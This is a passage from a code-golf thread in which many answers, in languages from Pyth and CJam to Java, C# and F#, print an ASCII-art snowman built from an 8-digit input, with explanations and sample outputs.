bytes ``` M@GCHgc" ___ ___ _"bhzgc" (_*_) _===_ ..... /_\\"bhzs[g" \ "@z4\(g"-.oO"@z2g" ,._"@z1g"-.oO"@z3\)g" / "@z5)s[g" < /"@z4\(gc" : ] [ > <"b@z6\)g" > \\"@z5)++" ("gc" : \" \" ___"bez\) ``` Lol. Try it online: [Pyth Compiler/Executor](https://pyth.herokuapp.com/?code=M%40GCHgc%22%20%20___%0A%0A%20%20___%0A%20%20%20_%22bhzgc%22%20(_*_)%0A%20_%3D%3D%3D_%0A%20.....%0A%20%20%2F_%5C%5C%22bhzs%5Bg%22%20%20%5C%20%22%40z4%5C(g%22-.oO%22%40z2g%22%20%2C._%22%40z1g%22-.oO%22%40z3%5C)g%22%20%20%2F%20%22%40z5)s%5Bg%22%20%3C%20%2F%22%40z4%5C(gc%22%20%20%20%0A%20%3A%20%0A%5D%20%5B%0A%3E%20%3C%22b%40z6%5C)g%22%20%3E%20%5C%5C%22%40z5)%2B%2B%22%20(%22gc%22%20%20%20%0A%20%3A%20%0A%5C%22%20%5C%22%0A___%22bez%5C)&input=33232124&debug=0) ### Explanation First I define a helper function `g`, which takes a list and a char as input, converts the char into its ASCII-value and takes correspondent element (modular wrapping). ``` M@GCH def g(G,H): return G[ord(H)] ``` The other things is just printing line by line. For instance the first line is: ``` c" ___\n\n ___\n _"b split the string " ___\n\n ___\n _" at "\n" hz first char in input g apply g and print ``` Btw. I experimented a little bit with `.F"{:^7}"`, which centers a string. Using it, I could save a few spaces in my code, but it doesn't save any bytes at the end. [Answer] # Haskell, ~~361~~ ~~306~~ 289 bytes ``` o l a b=take a$drop((b-1)*a)l n="\n" p i=id=<<[" ",o" \n _===____ \n ..... _ \n /_\\ ___ \n (_*_)"11a,n,o" \\ "1e,o"(.(o(O(-"2c,o",._ "1 b,o".)o)O)-)"2d,o" / "1f,n,o"< / "1e,o"( : )(] [)(> <)( )"5g,o"> \\ "1f,n," (",o" : )\" \")___) )"4h]where[a,b,c,d,e,f,g,h]=map(read.(:[]))i ``` Usage: ``` putStrLn $ p "12333321" _===_ (O.O) /(] [)\ ( : ) ``` How it works: index every element of the list of `[hat options, left upper arm options, left eye options, ..., base options]` with the corresponding input number and concatenate it into a single list. I've split the left and right arm into an upper and lower part, so that I can build the snowman line by line. My favorite is the classic `11112211`. Edit: switched from list of strings to strings for the parts (hat, eye, ...). Needs a second parameter, the length of the substring to take. Edit II: extracted common substrings [Answer] # R, ~~436~~ 437 bytes Here's my first try on [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), using R which isn't the shortest but still fun. At least I'm beating JavaScript (for now)... ``` H=c("_===_"," ___\n ....."," _\n /_\\"," ___\n (_*_)") N=c(",",".","_"," ") L=c(".","o","O","-") X=c(" ","\\"," "," ") S=c("<"," ","/"," ") Y=c(" ","/"," ","") U=c(">"," ","\\","") T=c(" : ","] [","> <"," ") B=c(" : ","\" \"","___"," ") f=function(x){i=as.integer(strsplit(x,"")[[1]]);cat(" ",H[i[1]],"\n",X[i[5]],"(",L[i[3]],N[i[2]],L[i[4]],")",Y[i[6]],"\n",S[i[5]],"(",T[i[7]],")",U[i[6]],"\n"," (",B[i[8]], ")",sep="")} ``` Testing: ``` > f("12344321") _===_ (O.-) (] [)\ ( : ) ``` I actually struggled with `X` and `Y` being multilined but with stuff in between, ended up separating each line in (`X`, `S`) and (`Y`, `U`). `function` and conversion from string to integer are also very verbose. **Edit 436 => 437** Had to fix a missing empty space noticed by @OganM I could reduce to 428 replacing the line breaks between variables with `;`, but the "one-lined" code looks so bad and unreadable I won't be that greedy. [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 199 bytes Inspired by [Reto Koradi](https://codegolf.stackexchange.com/a/49914/80745) and [anatolyg](https://codegolf.stackexchange.com/a/49941/80745). ``` for($t=' 0 _ _0 ___0 _ _ 0_. (0=./_0=._*0=.\_0_. ) 4 \ (2.oO-1,._ 3.oO-)5 / 4< / (6 ]> 6: 6 [< )5> \ (7 "_ 7: _ 7 "_ )';$d=$t[$i++];$r+="$d"){if($d-ge48){$d=$t[$i+"$args"["$d"]-49] $i+=4}}$r ``` [Try it online!](https://tio.run/##RZBbboMwFET/vYqRaxVTCuHhkJbE2UIXQJCFxKNItESGtIoQa6cmQen5GM9cj2XZ5@631P1n2bYzqyAxzlWnORukBfhQUEaUujkCX3ngvvQ2yoh6MXJSy8wmAieAh1734QavnkK0OHuLDUDEwSw8RnZEnACIkR5gb4/mCAHfgSrsEnPBzdnWnhWSDSlrHCfbM@1Iygpqj03FWeHWpXizx0eDslzXPU2XSuaK94yYoRTTxPQ8kWfzIiswCBEE1j1GURiFQSis/92FNYYrj/KdNYoV8zVP@Lqiyn863QxlAtq3ZXm@Ql/6vsm/UV9yXdD5Dw "PowerShell – Try It Online") Note: The line 3 has 2 trail spaces, line 4 has a trail space. My favorite is `44444444` "sleepy russian guard": ``` ___ (_*_) (- -) ( ) ( ) ``` [Answer] # CJam, ~~200~~ 191 bytes This can surely be golfed a lot. (Specially if I base encode it). But here goes for starters: ``` 7S*"_===_ ___ ..... _ /_\ ___ (_*_)"+6/2/Nf*",._ "1/".oO-"1/_" <\ / >/ \ "2/4/~" : ] [> < : \" \"___ "3/4/~]l~Ab:(]z::=:L0=N4{L=}:K~0='(2K1K3K')5K0=N4K1='(6K')5K1=NS'(7K') ``` Input goes into STDIN. For example, input `23232223` gives: ``` ___ ..... \(o_O)/ (] [) (___) ``` [Try it online here](http://cjam.aditsu.net/#code=7S*%22_%3D%3D%3D_%20%20___%20%20.....%20%20%20_%20%20%20%20%2F_%5C%20%20%20___%20%20(_*_)%22%2B6%2F2%2FNf*%22%2C._%20%221%2F%22.oO-%221%2F_%22%20%3C%5C%20%20%2F%20%20%20%3E%2F%20%20%5C%20%20%222%2F4%2F~%22%20%3A%20%5D%20%5B%3E%20%3C%20%20%20%20%3A%20%5C%22%20%5C%22___%20%20%20%223%2F4%2F~%5Dl~Ab%3A(%5Dz%3A%3A%3D%3AL0%3DN4%7BL%3D%7D%3AK~0%3D'(2K1K3K')5K0%3DN4K1%3D'(6K')5K1%3DNS'(7K')&input=33232124) [Answer] ## C, ~~233~~ 230 bytes ``` char*t=" 0 _ _0 ___0 _ _ 0_. (0=./_0=._*0=.\\_0_. ) 4 \\ (2.oO-1,._ 3.oO-)5 / 4< / (6 ]> 6: 6 [< )5> \\ (7 \"_ 7: _ 7 \"_ ) ";i,r,d;f(char*p){while(r++<35){d=t[i]-48;putchar(t[d<0?i:i+p[d]-48]);i+=d<0?1:5;r%7?0:puts("");}} ``` With newlines and whitespace for better readability: ``` char* t = " 0 _ _0 ___0 _ _ 0_. (0=./_0=._*0=.\\_0_. ) 4 \\ (2.oO-1,._ 3.oO-)5 / 4< / (6 ]> 6: 6 [< )5> \\ (7 \"_ 7: _ 7 \"_ ) "; i, r, d; f(char* p) { while (r++ < 35) { d = t[i] - 48; putchar(t[d < 0 ? i : i + p[d] - 48]); i += d < 0 ? 1 : 5; r % 7 ? 0 : puts(""); } } ``` The whole thing is fairly brute force. It uses a table that contains one entry for each of the 35 (5 lines with length 7) characters. Each entry in the table is either: * A constant character: , `(`, `)`. Length of table entry is 1 character. * Index of body part, followed by the 4 possible characters depending on the part selection in the input. Length of table entry is 5 characters. The code then loops over the 35 characters, and looks up the value in the table. [Answer] # Python 3, ~~349~~ ~~336~~ ~~254~~ 251 bytes So much for doing my thesis. Here's the content of the file *snowman.py*: ``` l='_===_| ___\n .....| _\n /_\| ___\n (_*_)| : |] [|> <| |>| |\| | : |" "|___| '.split('|') l[4:4]=' \ .oO-,._ .oO- / < / ' def s(a):print(' {}\n{}({}{}{}){}\n{}({}){}\n ({})'.format(*[l[4*m+int(a[int('0421354657'[m])])-1]for m in range(10)])) ``` And this is how I conjure my favourite snowman: ``` s('11112311') _===_ \(.,.) ( : )\ ( : ) ``` ## Explanation ``` # Create a list containing the 4 * 10 body parts of the snowman in order of drawing: # hats, # upper left arms, left eyes, noses, right eyes, upper right arms, # lower left arms, torso's, lower right arms, # bases l='_===_| ___\n .....| _\n /_\| ___\n (_*_)| : |] [|> <| |>| |\| | : |" "|___| '.split('|') l[4:4]=' \ .oO-,._ .oO- / < / ' # This is the function that draws the snowman # All the lines of this function are golfed in a single statement, but seperated here for clearity def s(a): # In this list comprehension I put the elements of l that are chosen according to the parameters list_comprehension = [] # m is the number of the body part to draw for m in range(10): # Get the index for the choice of the m-th bodypart # (example: the 2nd bodypart (m = 1: the upper left arm) is in the 4th place of the arguments list) choice_index = int('0421354657'[m]) # n is the parameter of the current bodypart n = int(a[choice_index]) - 1 # Add the body part from list l to the list comprehenseion list_comprehension.append( l[4 * m + n] ) # Print the list comprehension with the static parts print(' {}\n{}({}{}{}){}\n{}({}){}\n ({})'.format(*list_comprehension)) ``` [Answer] # R 414 Bytes Slightly modified version of Molx's version ``` W =c("_===_"," ___\n ....."," _\n /_\\"," ___\n (_*_)",",",".","_"," ",".","o","O","-"," ","\\"," "," ","<"," ","/"," "," ","/"," ","",">"," ","\\",""," : ","] [","> <"," "," : ","\" \"","___"," ") f=function(x){i=as.integer(strsplit(x,"")[[1]]);cat(" ",W[i[1]],"\n",W[i[5]+12],"(",W[i[3]+8],W[i[2]+4],W[i[4]+8],")",W[i[6]+20],"\n",W[i[5]+16],"(",W[i[7]+28],")",W[i[6]+24],"\n"," (",W[i[8]+32], ")",sep="")} ``` Just merged the seperate variables into one. Shawing of some space that was used for `X=c(` routine. [Answer] # Haskell, 333 bytes My first submission! Builds the snowman from top to bottom, left to right. I split the arms into two functions for each arm, the part next to head and the part next to the body. The function s takes a list of integers and concatenates the output of the functions which produce the body parts given correct sublists of the input. ``` a=y["\n _===_\n"," ___ \n .....\n"," _ \n /_\\ \n"," ___ \n (_*_)\n"] d=y",._ " c=y".oO-" e=y"< / " j=y" \\ " f=y"> \\ " k=y" / " y w n=w!!(n-1) h=y[" : ","] [","> <"," "] b=y[" ( : ) \n"," (\" \") \n"," (___) \n"," ( ) \n"] s(m:x:o:p:n:q:t:l:_)=putStr$a m++j x:'(':c o:d n:c p:')':k q:'\n':e x:'(':h t++')':f q:'\n':b l ``` It relies on the function ``` y :: [a] -> Int -> a y w n=w!!(n-1) ``` which returns the nth element of the list it is given. This allows for the list of hats in a, as well as things like ``` k=y" / " ``` all of these functions use a beta reduction so their argument is passed as the index to the y function. Output: ``` λ> s $ repeat 1 _===_ (.,.) <( : )> ( : ) λ> s $ repeat 2 ___ ..... \(o.o)/ (] [) (" ") λ> s $ repeat 3 _ /_\ (O_O) /(> <)\ (___) λ> s $ repeat 4 ___ (_*_) (- -) ( ) ( ) ``` [Answer] # JavaScript (ES6), 247 Not as good ad @NinjaBearMonkey's :( Test in snippet (with Firefox) ``` S=p=>([h,n,c,d,l,r,t,b,e,x]=[...p,' .oO-',`1_===_1 ___ .....1 _ /_\\1 ___ (_*_)1 : 1] [1> <1 1 : 1" "1___1 `.split(1)],` ${x[h]} ${' \\ '[l]}(${e[c]+' ,._ '[n]+e[d]})${' / '[r]} ${' < / '[l]}(${x[3-~t]})${' > \\ '[r]} (${x[7-~b]})`) // TEST // function go() { var n=N.value if (/^[1-8]{8}$/.test(n)) { s=S(n) OUT.innerHTML = s+'\n'+n+'\n\n'+ OUT.innerHTML } else N.focus() } ``` ``` <input id=N maxlength=8><button onclick="go()">Test</button> <pre id=OUT></pre> ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~137~~ ~~135~~ ~~128~~ ~~122~~ 121 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` …( )7ÝJ»•αγʒδÓ₂©8¥ŽQxΣxêÿ•sÅвJIvN”</[( ._-=:"ÆŸ,*”º•DùÙÂ+;Èγтáì³ÓW©ÎÂ_`ƒ≠îj*ΓçÊ~ÞÒ¸β¦oåb/õ47/vÎΓ”›≠øØZµλݺ•20в趡Nè4äyè.; ``` -6 bytes thanks to *@Grimy*. [Try it online](https://tio.run/##Ad0AIv9vc2FiaWX//@KApiggKTfDnUrCu@KAos6xzrPKks60w5PigoLCqTjCpcW9UXjOo3jDqsO/4oCic8OF0LJKSXZO4oCdPC9bKAouXy09OiLDhsW4LCrigJ3CuuKAokTDucOZw4IrO8OIzrPRgsOhw6zCs8OTV8Kpw47Dgl9gxpLiiaDDrmoqzpPDp8OKfsOew5LCuM6ywqZvw6ViL8O1NDcvdsOOzpPigJ3igLriiaDDuMOYWsK1zrvDncK64oCiMjDQssOowrbCoU7DqDTDpHnDqC47//80NDExNDQzMg) or [verify a few more test cases](https://tio.run/##LY09S0JRHMb38ymiJbN7tfMChhYuTQ5CU1CDKTQUkYMg3qi4XCiqwcG71GBkpWlEkKaYEsF5sKHhYF/hfpHbuXl/w394Xv5PsZQv7O36x2UrvZA0fM9uReYWE6hn5Niz79Wb6v3U1Dtcz3FkZ0U2J58bFfVQwTO@tF/C2bSbscpZz66vxrcjJJYz15LzOJ8MjajW5EiH1vGBGzhLKVyo3q@DBl5kD@6m7KAKJ7fzXfMu7/C6H1UunnB1ilvU5FB1ZauIZiGOvkjEy6gqVz/07FEQHuJ6S/bVGLMFtjztoi0HspFFW@DRQjuW8k8MOUj7lDNOKWVEHyoEpYRrhVEmCGUB2hIsVDgTgmuI@IdrSwQtPqsHEBZCeEgYFsI3zcOieZA/sv4A). **Explanation:** We first create the template-string: ``` …( ) # Push string "( )" 7ÝJ # Push a list in the range [0,7] joined together: "01234567" » # Join both by a newline: "( )\n01234567" •αγʒδÓ₂©2°ćì₂òη₆½• # Push compressed integer 80545642885242518310229085147411483894 s # Swap to get the earlier created string at the top of the stack Åв # Convert the large integer to base-"( )\n01234567", # which basically converts to base-length, and indexes into the string: # [" ","0","0","0","0","0","\n"," ","0","0","0","0","0","\n","4","(","2","1","3",")","5","\n","4","(","6","6","6",")","5","\n"," ","(","7","7","7",")"] J # And join it to a single string: " 00000\n 00000\n4(213)5\n4(666)5\n (777)" ``` Which looks like this: ``` 00000 00000 4(213)5 4(666)5 (777) ``` Then I loop over the digits of the input: ``` I # Get the input v # Loop `y` over each of its digits: ``` And do the following: Push the (0-indexed) index `N` of the list: ``` N # Push the index of the loop ``` Push all possible parts as a list of character lists: ``` ”</[( ._-=:"ÆŸ,*” "# Push dictionary string "</[(\n._-=:" Oo,*" º # Mirror each line: "</[()]\>\n._-=:" Oo,**,oO ":=-_." •DùÙÂ+;Èγтáì³ÓW©ÎÂ_`ƒ≠îj*ΓçÊ~ÞÒ¸β¦oåb/õ47/vÎΓ”›≠øØZµλݺ• # Push compressed integer 492049509496347122906361438631265789982480759119518961177677313610613993948059787418619722816092858096158180892708001681647316210 20в # Convert it to Base-20 as list: [15,10,10,10,15,3,10,19,10,4,15,15,15,15,15,10,12,12,12,10,15,10,10,10,15,9,9,9,9,9,15,15,10,15,15,15,1,10,6,15,8,15,18,9,10,8,11,9,17,16,8,11,9,17,16,8,15,15,15,0,6,15,15,1,8,15,15,15,7,1,15,15,6,8,15,15,15,15,13,15,5,15,2,7,15,0,8,15,15,15,15,13,15,14,15,14,10,10,10] è # Index each into the string: [" ","_","_","_"," ","(","_","*","_",")"," "," "," "," "," ","_","=","=","=","_"," ","_","_","_"," ",".",".",".",".","."," "," ","_"," "," "," ","/","_","\"," ","\n"," ",",",".","_","\n","-",".","o","O","\n","-",".","o","O","\n"," "," "," ","<","\"," "," ","/","\n"," "," "," ",">","/"," "," ","\","\n"," "," "," "," ",":"," ","]"," ","[",">"," ","<","\n"," "," "," "," ",":"," ","""," ",""","_","_","_"] ¶¡ # Split it by the newline character: [[" ","_","_","_"," ","(","_","*","_",")"," "," "," "," "," ","_","=","=","=","_"," ","_","_","_"," ",".",".",".",".","."," "," ","_"," "," "," ","/","_","\"," "],[" ",",",".","_"],["-",".","o","O"],["-",".","o","O"],[" "," "," ","<","\"," "," ","/"],[" "," "," ",">","/"," "," ","\"],[" "," "," "," ",":"," ","]"," ","[",">"," ","<"],[" "," "," "," ",":"," ","""," ",""","_","_","_"]] ``` Use the loop index `N` to get the character-list of the part we are currently working with: ``` Nè # Index the loop index into it # i.e. 6 → [" "," "," "," ",":"," ","]"," ","[",">"," ","<"] ``` Then split the character list into four equal part, and use the input-digit `y` (which is 1-indexed) to index into it. (NOTE: Since 05AB1E is 0-indexed, but the input is 1-indexed, it would be logical to decrease the digit by 1 before indexing. However, since 05AB1E has automatic wraparound (i.e. indexing `3` in list `[1,3,5]` will result in `1`), I simply rotated the parts once so parts with nr 4 in the challenge description, are at the front of the lists.) ``` 4ä # Split it into 4 equal parts # i.e. [[" "," "," "],[" ",":"," "],["]"," ","["],[">"," ","<"]] yè # Index the input-digit `y` into it (with automatic wraparound) # i.e. 4 → [" "," "," "] ``` And then replace the 0-indexed index of the loop we pushed at first, one by one with the part-characters: ``` .; # Replace first; every index of the loop `N` in the template-string # is replaced one by one with the characters ``` And in the end the result is output implicitly. [See this 05AB1E tip of mine (section *How to compress large integers?* and *How to compress integer lists?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand how the compression parts work. --- As for my favorite, it's still [the same 'snow rabbit' as 1.5 year ago when I posted my Java solution](https://codegolf.stackexchange.com/a/125628/52210): ``` 44114432: _ (_*_) (. .) (> <) (" ") ``` [Answer] # Java 8, ~~548~~ ~~545~~ ~~432~~ ~~401~~ ~~399~~ 397 bytes ``` a->{int q=50,H=a[0]-49,N=a[1],L=a[2],R=a[3],X=a[4],Y=a[5];return"".format(" %s%n %s%n%c(%c%c%c)%c%n%c(%s)%c%n (%s)",H<1?"":H%2<1?" ___":" _","_===_s.....s /_\\s(_*_)".split("s")[H],X==q?92:32,L<q?46:L<51?111:L<52?79:45,N<q?44:N<51?46:N<52?95:32,R<q?46:R<51?111:R<52?79:45,Y==q?47:32,X<q?60:32+X%2*15," s : s] [s> <".split("s")[a[6]%4],92-(Y%3+Y%6/4)*30," s : s\" \"s___".split("s")[a[7]%4]);} ``` -2 bytes thanks to *@ceilingcat*. [Try it here.](https://tio.run/##dVNNb@IwEL33V4wsRUrApPgjIAIpWu2FA5sDvYAgirxpupsuBIhNparit7PjkN0WRF8kz9jzZvzisV/Uq@psd3n58vTnlK2V1vBDFeX7HUBRmrx6VlkOsZ0CPJqqKH9B5ma/VbVMQHlDXD/e4aCNMkUGMZQQwUl1Ht4xG/ZR0KWTSC27SUcOaIweS@gUDU/oDI1I6ByNTOgCTZAMq9wcqpIQ/3lbbZRxCTjaKevByVwns5@HQz3TtQfWIXQyYmNCwonDrQNpmpKQAKSEkjSKolT7Fhru09VKu2kr9Yivd@sC99DEW06skmg/HvBQcDod7ceyF05HARszxqzDx/1BKAMa25AMYxtCSmwjg8Amzc5Js39Js4@khS0t@5Y1R1avi1577vAWCyiKBA0h6ASW@gFGF7LUspc4eDwD3nEXjmgvnN699Fqi@5G2IrAi2v7vZWLfJnrD42loG7Q7/Fxjg5o@vW6LJ9hgn91zT@tmnptsco0lmOAC/4GTusX/VxFSMna5KpDLGZdXXG5xXUHyW1zBpRSIK24NcV1BWg3ihjKLy1Xe4FrvGbd2k42yz5e6Pqya1DwA3RzV45s2@cbfHoy/w4BZl65u461r6t4Il37mat9sv@MD@lZV6s31vK/ZjZLj6S8) **Explanation:** ``` a->{ // Method with character-array parameter and String return-type int q=50, // Temp integer with value 50 to reduce the byte-count H=a[0]-49, // The hat-character as unicode value minus 49: 1=0; 2=1; 3=2; 4=3 N=a[1],L=a[2],R=a[3],X=a[4],Y=a[5]; // Most of the other characters as unicode values: 1=49; 2=50; 3=51; 4=52 return"".format(" %s%n %s%n%c(%c%c%c)%c%n%c(%s)%c%n (%s)", // Return the snowman with: H<1?"":H%2<1?" ___":" _", // The top of the hat "_===_s.....s /_\\s(_*_)".split("s")[H], // + the bottom of the hat X==q?92:32, // + the top of the left arm L<q?46:L<51?111:L<52?79:45, // + the left eye N<q?44:N<51?46:N<52?95:32, // + the nose R<q?46:R<51?111:R<52?79:45, // + the right eye Y==q?47:32, // + the top of the right arm X<q?60:32+X%2*15, // + the bottom of the left arm " s : s] [s> <".split("s")[a[6]%4], // + the torso 92-(Y%3+Y%6/4)*30, // + the bottom of the right arm " s : s\" \"s___".split("s")[a[7]%4]);} // + the feet ``` **My favorite:** ``` 44114432: _ (_*_) (. .) (> <) (" ") ``` I don't know why, but it looks kinda cute. Like a bunny with a Russian hat instead of ears. [Answer] # C# 9.0 (.NET 4.8) - ~~1813 1803 1821 1815~~ 1812+30=~~1843 1833 1851 1845~~ 1842 bytes A Windows Forms application; likely can be improved on in terms of size. Contains a massive one-liner. The extra 30 bytes is from adding `<LangVersion>9.0</LangVersion>` to the project file. ``` using System;using System.Windows.Forms;class P:Form{string[]h={$@" _===_",$@"___ .....",$@"_ /_\",$@"___ (_*_)"},s={" : ","] [","> <"," "},z={" : ","\" \"","___"," "};string n=",._ ",e=".oO-",x="< / ",y="> \\ ";TextBox t;Button b,d;Label l;[STAThread]static void Main(){Application.EnableVisualStyles();Application.SetCompatibleTextRenderingDefault(false);Application.Run(new P());}P(){t=new();b=new();d=new();l=new();SuspendLayout();t.Location=new(0,0);t.MaxLength=8;t.Size=new(269,23);t.TabIndex=0;b.Location=new(-1,22);b.Size=new(200,25);b.TabIndex=1;b.Text="Build the snowman!";b.UseVisualStyleBackColor=true;b.Click+=m;d.Location=new(198,22);d.Size=new(72,25);d.TabIndex=2;d.Text="Random";d.UseVisualStyleBackColor=true;d.Click+=(_,_)=>{int a=0;Random r=new();for(int i=0;i<8;i++)a+=r.Next(1,5)*(int)Math.Pow(10,i);m(a.ToString(),null);};l.AutoSize=false;l.Font=new("Consolas",9);l.Location=new(0,41);l.Size=new(269,73);l.TextAlign=System.Drawing.ContentAlignment.MiddleCenter;Font=new("Segoe UI",9);ClientSize=new(269,114);Controls.Add(l);Controls.Add(t);Controls.Add(b);Controls.Add(d);MaximizeBox=false;FormBorderStyle=FormBorderStyle.FixedSingle;Text="Snowman Maker";l.SendToBack();t.BringToFront();ResumeLayout(true);}void m(object q,EventArgs k){t.Enabled=false;b.Enabled=false;d.Enabled=false;if(q is string j)t.Text=j;if(t.Text.Length!=8||!int.TryParse(t.Text,out _))MessageBox.Show("Invalid input format.");else{int[]a=new int[8];for(int i=0;i<8;i++){a[i]=t.Text[i]-'0'-1;if(a[i]>3){MessageBox.Show("Invalid input format.");t.Enabled=true;b.Enabled=true;d.Enabled=true;return;}}l.Text=$@"{h[a[0]]} {(a[4]==1?'\\':' ')}({e[a[2]]}{n[a[1]]}{e[a[3]]}){(a[5]==1?'/':' ')} {x[a[4]]}({s[a[6]]}){y[a[5]]} ({z[a[7]]})";}t.Enabled=true;b.Enabled=true;d.Enabled=true;}} ``` A more readable version, with comments (though with the same confusing variable naming): ``` using System; using System.Windows.Forms; class Program : Form { string[] h = {$@" _===_",$@"___ .....",$@"_ /_\",$@"___ (_*_)"}, // Hats s = {" : ","] [","> <"," "}, // Torso z = {" : ","\" \"","___"," "}; // Base string n = ",._ ", e = ".oO-", x = "< / ", y = "> \\ "; // Nose, eyes, left arm, right arm //Controls TextBox t; Button b, d; Label l; [STAThread] static void Main() { Application.EnableVisualStyles(); Application.Run(new Program()); // I put all the control code in Program; please don't do this in normal code } Program() { // Initialize everything t = new(); // Taking advantage of the short contructors in C# 9.0 b = new(); d = new(); l = new(); SuspendLayout(); // TextBox properties t.Location = new(0, 0); t.MaxLength = 8; t.Size = new(269, 23); t.TabIndex = 0; // 'Build the snowman' button properties b.Location = new(-1, 22); b.Size = new(200, 25); b.TabIndex = 1; b.Text = "Build the snowman!"; b.UseVisualStyleBackColor = true; b.Click += m; // 'Random' button properties d.Location = new(198,22); d.Size = new(72,25); d.TabIndex = 2; d.Text = "Random"; d.UseVisualStyleBackColor = true; d.Click += (_,_) => { int a = 0; Random r = new(); for(int i = 0; i < 8; i++) a += r.Next(1,5) * (int)Math.Pow(10,i); // Math.Pow returns a number that satisfies 1 <= n < 5, not 1 <= n <= 5 m(a.ToString(), null); // Since I don't need the "sender" field, I use it to send the random input. Please don't do this in a normal program. }; // Label properties l.AutoSize = false; l.Font = new("Consolas", 9); l.Location = new(0, 41); l.Size = new(269, 73); l.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // This lets us omit some spaces, while making the form look nicer as well // Form properties Font = new("Segoe UI", 9); ClientSize = new(269, 114); Controls.Add(l); Controls.Add(t); Controls.Add(b); Controls.Add(d); MaximizeBox = false; FormBorderStyle=FormBorderStyle.FixedSingle; Text="Snowman Maker"; l.SendToBack(); t.BringToFront(); ResumeLayout(true); } // Event handler for the 'Build the snowman' button void m(object sender, EventArgs k) { // Disable all the inputs, in case the user tries to mess with the data while the function is running. // This is probably unneeded since modern computers run so quickly, but I kept it anyway. t.Enabled = false; b.Enabled = false; d.Enabled = false; if(sender is string j) // Accept input from 'Random' button t.Text=j; if(t.Text.Length != 8|| !int.TryParse(t.Text, out _)) // Discard the out parameter since we don't need it MessageBox.Show("Invalid input format."); else { int[] a = new int[8]; // Read from the TextBox. for (int i = 0; i < 8; i++) { a[i] = t.Text[i] - '0' - 1; if(a[i] > 3) { MessageBox.Show("Invalid input format."); // Re-enable the inputs and cancel the operation. t.Enabled = true; b.Enabled = true; d.Enabled = true; return; } } // Set the label text; uses an interpolated multiline string ($ makes it interpolated, @ makes it accept newlines and automatically escape characters (excluding " )) l.Text=$@"{h[a[0]]} {((a[4] == 1) ? '\\' : ' ')}({e[a[2]]}{n[a[1]]}{e[a[3]]}){((a[5] == 1) ? '/' : ' ')} {x[a[4]]}({s[a[6]]}){y[a[5]]} ({z[a[7]]})"; } t.Enabled = true; b.Enabled = true; d.Enabled = true; } } ``` The compact version was so painful to edit (I absolutely hate scrolling left and right) that I split it into a lot of lines and removed the unnecessary newlines after I was done with it: ``` using System;using System.Windows.Forms;class P:Form{string[]h={$@" _===_",$@"___ .....",$@"_ /_\",$@"___ (_*_)"},s={" : ","] [","> <"," "},z={" : ","\" \"","___"," "};string n=",._ ",e=".oO-",x="< / ",y="> \\ ";TextBox t; Button b,d;Label l;[STAThread]static void Main(){Application.EnableVisualStyles();Application.SetCompatibleTextRenderingDefault(false); Application.Run(new P());}P(){t=new();b=new();d=new();l=new();SuspendLayout();t.Location=new(0,0);t.MaxLength=8;t.Size=new(269,23 );t.TabIndex=0;b.Location=new(-1,22);b.Size=new(200,25);b.TabIndex=1;b.Text="Build the snowman!";b.UseVisualStyleBackColor=true;b.Click+=m;d. Location=new(198,22);d.Size=new(72,25);d.TabIndex=2;d.Text="Random";d.UseVisualStyleBackColor=true;d.Click+=(_,_)=>{int a=0;Random r=new(); for(int i=0;i<8;i++)a+=r.Next(1,5)*(int)Math.Pow(10,i);m(a.ToString(),null);};l.AutoSize=false;l.Font=new("Consolas",9);l.Location=new(0,41); l.Size=new(269,73);l.TextAlign=System.Drawing.ContentAlignment.MiddleCenter;Font=new("Segoe UI",9);ClientSize=new(269,114);Controls.Add(l); Controls.Add(t);Controls.Add(b);Controls.Add(d);FormBorderStyle=FormBorderStyle.FixedSingle;MaximizeBox=false;Text="Snowman Maker";l. SendToBack();t.BringToFront();ResumeLayout(true);}void m(object q,EventArgs k){t.Enabled=false;b.Enabled=false;d.Enabled=false;if(q is string j)t.Text=j;if(t.Text.Length!=8||!int.TryParse(t.Text,out _))MessageBox.Show("Invalid input format.");else{int[]a=new int[8];for(int i=0;i<8; i++){a[i]=t.Text[i]-'0'-1;if(a[i]>3){MessageBox.Show("Invalid input format.");t.Enabled=true;b.Enabled=true;d.Enabled=true;return;}}l.Text=$@"{h[a[0]]} {(a[4]==1?'\\':' ')}({e[a[2]]}{n[a[1]]}{e[a[3]]}){(a[5]==1?'/':' ')} {x[a[4]]}({s[a[6]]}){y[a[5]]} ({z[a[7]]})";}t.Enabled=true;b.Enabled=true;d.Enabled=true;}} ``` To run this code, make a Windows Forms Application project in Visual Studio for .NET Framework 4.8 (or whatever editor you use for C#), remove Form1.cs and delete it from the project, save the project, and add `<LangVersion>9.0</LangVersion>` to the project file. Then, you can copy the code into Program.cs (overwrite everything) and run it. [Answer] # F#, 369 bytes ``` let f(g:string)= let b=" " let p=printfn let i x=int(g.[x])-49 p" %s "["";"___";" _ ";"___"].[i 0] p" %s "["_===_";".....";" /_\ ";"(_*_)"].[i 0] p"%s(%c%c%c)%s"[b;"\\";b;b].[i 4]".oO-".[i 2]",._ ".[i 1]".oO-".[i 3][b;"/";b;b;b].[i 5] p"%s(%s)%s"["<";b;"/";b].[i 4][" : ";"] [";"> <";" "].[i 6][">";b;"\\";b].[i 5] p" (%s) "[" : ";"\" \"";"___";" "].[i 7] ``` [Try it online!](https://tio.run/##TVDRaoQwEHz3K5YFQUvNnV7a0tP41uf2PYZwHqcIrYqRcv16uxttMYEwm52ZbKZxyXWYbsvyeZuhidqzm6eub2MVAN/UCgFXOKqROnPTr2UHd0Vl1Ap9N3EiXwMYESB0AKgRc7TW0gkWNmyE7uBoPI1YRLJKKeYIXsw92IrZkX2w8Z4fuii88o5Dh7rOsaowr/PaU6RBMbwnyDgz@CjoRcbp7v5kWHXwok329O/svCsW3PWczVYjnHkcA5rOEgoekX7n28/ULr3Cz7KzBHbk763qCqHaxfGnfzGLLt76efr5GCjG0gQc6tel6@Eytd9A@TceCc0ZHJclk1kmZZqefgE) Because `g` uses an array accessor, I need to explicitly specify the type in the function definition as a `string`, which is why the function definition has `(g:string)`. Apart from that, it's usually an array of `strings` accessed by an index. The hat, left and right arms which would go on separate lines are split into separate top and bottom arrays. The `i` function changes a number in the argument `g` into the array index. And the letter `b` replaces the one-space strings in the arrays. Great challenge! My favourite snowman is probably `242244113`: ``` ___ ..... (o o) ( : ) ( : ) ``` im watching you 